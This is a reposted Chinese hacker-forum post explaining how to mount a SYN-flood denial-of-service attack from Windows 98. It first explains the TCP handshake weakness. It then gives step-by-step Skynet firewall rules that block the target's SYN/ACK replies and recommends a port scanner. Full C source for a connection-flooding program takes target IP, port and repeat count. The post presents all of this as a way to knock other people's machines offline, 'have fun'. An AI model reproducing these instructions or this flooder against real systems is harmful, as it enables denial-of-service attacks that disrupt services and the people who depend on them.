论坛: 菜鸟乐园 标题: 在Windows 98下通过天网防火墙实施dos攻击 复制本贴地址    
作者: magic [buaaytt]    论坛用户   登录
【转载】
说实话,这篇文章的实际利用意义并不高,毕竟现在玩这个的大部分都在用Windows 2000和linux
了。所以只是写来玩玩,也许将来某些方面还需要这种类似的技术,谁知道呢?
首先我来简单的介绍一下syn flood的原理,因为其它很多文章对这种攻击方法有具体的介绍,所
以我在这里只草草的概括一下。学过tcp/ip协议的朋友都应该知道,当tcp建立一个连接的时候初
始请求的主机向被请求主机发送一个Syn信号,然后被请求主机接收到该信号之后便向初始主机返
回一个SYN/ACK,最后初始主机发送一个ACK,这就是被我们称为3次握手的过程。

这样一个看上去完美无缺的连接过程其实存在一个很大的问题,那就是如果请求主机在第一步的
时候通过修改数据包包头来制造一个不可到达的假ip地址的话,被请求主机则会将SYN/ACK送到这
个假地址上去。当然这样的结果就是被请求服务器收不到本应该返回的ACK,于是被请求服务器就
把这个连接挂为等待状态,这个等待阶段大概为30秒左右。光是这样的话还达不到我们的目的,毕竟
一个TCP连接队列对服务器来说并没什么大的障碍。但如果我们发送一堆这样的请求呢?服务器的tcp
连接是有限的,当达到一定程度的时候,列队就被堵塞,然后服务器系统资源急速减少、宽带堵塞、
无法提供正常服务、最后可能还会当机。这样就构成了一次被我们称为拒绝服务的攻击了。

从原理部分我们可以看出,syn flood需要制造一个不可到达的假IP地址来进行攻击。如果不是一
个假ip的话,那个ip地址上的主机则会发回一个RST或ACK,那么我们的攻击计划则成功不了了。

那么就是说传统的syn flood攻击需要制造一个假IP地址,这点在Windows 2000和Unix/Liunx这种
可以良好支持raw socket的操作平台上可以很容易的通过修改数据包包头办到,但Windows 98这
种不支持socket的平台上就做不到syn flood了吗?我们改变不了自己的数据包的包头,那么我们
可不可以想办法让自己的IP地址伪装成“不可到达”呢?

呵呵,现在就进入最精彩的部分,如果你看了标题就应该知道我要做什么了。对!我们要通过天
网这个大名鼎鼎的防火墙来实现我们的愿望。天网可以拒绝接受某个指定地址发来的数据包,如
果我们把这个地址设置为被攻击者的话我们的IP地址对于被攻击者来说就是不可到达的,所
以......呵呵呵呵,明白了?

好了下来我们说一下具体的攻击方法,先去下载天网防火墙,你可以在http://www.sky.net.cn/
找到最新的版本,我在本文中所使用的是2.4.2版本。安装完成以后,我们点击“自定义规则”的按
钮(那个小尺子的图标),然后双击第一行的“IP规则”。在弹出的对话框里将“数据包方向”改为
“接收”,把“对方IP地址”改为“指定地址”,然后在后面出现的IP选框里输入你要攻击的人的地址。
然后选择“TCP”,把“本地端口”改为从从0到0,“对方端口”改为从0到0。“TCP标志位”选SYN和ACK。
最后在“当满足上面条件时”里选择“拦截”。

之后我们要做的是扫描端口,因为如果对方没有开放我们所攻击的端口的话,是不会做出任何反
映的。Windows 98下扫描端口的工具很多,在这里推荐速度比较快的SuperScan。


好了,工作到这里就做快完了,下来则是攻击程序。

/*************************************************************/
/* Syn Flooder for Windows 98                                */
/* by 界                                                     */
/* Use with firewall                                         */
/* 本程序由网络论坛斑竹界修改,其实只是一个用来不停建立TCP连接的 */
/* 东西 ,但在这点上恰恰符合了我们的要求。                      */   
/* 本程序在VC 6.0上编译通过                                   */
/*************************************************************/
#include "stdlib.h"
#include "stdio.h"
#include "string.h"
#include "winsock2.h"

int ConnectSrv(char * ip, int port);

int main( )
{
  intrc;
WSADATA WsaData;

char szIPAddr[256];
int nPort;
int nTimes;
printf("Input the IP and port you want to connect, Like:\n"
"  111.111.111.111 222\n");
scanf("%s %d", szIPAddr, &nPort);

printf("How many times you want to connect to the server:");
scanf("%d", &nTimes);

WSAStartup (0x0101, &WsaData);

for( int i = 0; i < nTimes; i++)
rc = ConnectSrv(szIPAddr, nPort);

WSACleanup();
scanf("%d", &rc);
  return 1;

}

int ConnectSrv(char * ip, int port)
{
SOCKET sc;
  SOCKADDR_IN server_addr;
int len;
  if ((sc = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  {
      return -1;
  }
  long lret = 1L;  /* 非阻塞模式 */
  ioctlsocket(sc, FIONBIO, (u_long FAR *) &lret);
  memset((char*) &server_addr, 0, sizeof(server_addr));
  server_addr.sin_family = AF_INET;

server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = inet_addr(ip);

  len = sizeof(SOCKADDR_IN);
  if (int rc = connect(sc, (PSOCKADDR) &server_addr, len) == SOCKET_ERROR)
  {
if ((rc != 0) && (WSAGetLastError() == WSAEWOULDBLOCK))
printf("Connecting!");
else
printf("Connect Failed!");
return -1;
  }
printf("Connect OK!");

closesocket(sc);
return 0;
}

这样子我们就可以在Windows 98上对别人D.o.S了,天网这样一个安全工具却可以被开发来攻击别
人,是不是很有趣呢?呵呵,have fun~!


地主 发表时间: 09/18 10:30

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号